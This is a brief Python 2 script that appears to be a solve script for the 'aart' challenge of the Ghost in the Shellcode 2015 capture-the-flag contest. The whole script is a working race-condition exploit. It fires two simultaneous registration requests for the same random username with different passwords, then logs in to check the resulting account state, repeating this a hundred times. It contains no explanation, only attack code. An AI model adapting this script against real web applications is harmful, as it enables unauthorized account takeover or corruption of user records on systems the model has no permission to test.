aart.py

import urllib2
import threading

ROOT = 'http://aart.2015.ghostintheshellcode.com/'

def register(username, password):
    req = urllib2.Request(ROOT+'register.php', data='username=%s&password=%s' % (username, password))
    conn = urllib2.urlopen(req)

def login(username, password):
    req = urllib2.Request(ROOT+'login.php', data='username=%s&password=%s' % (username, password))
    conn = urllib2.urlopen(req)
    return conn.read()

def race():
    import os
    username = os.urandom(16).encode('hex')
    p1 = os.urandom(16).encode('hex')
    p2 = os.urandom(16).encode('hex')
    print "registering %s" % username
    t1 = threading.Thread(target=register, args=(username, p1))
    t2 = threading.Thread(target=register, args=(username, p2))
    t1.start()
    t2.start()

    t1.join()
    t2.join()

    print login(username, p1)

print login('asd', 'asd')

for i in xrange(100):
    race()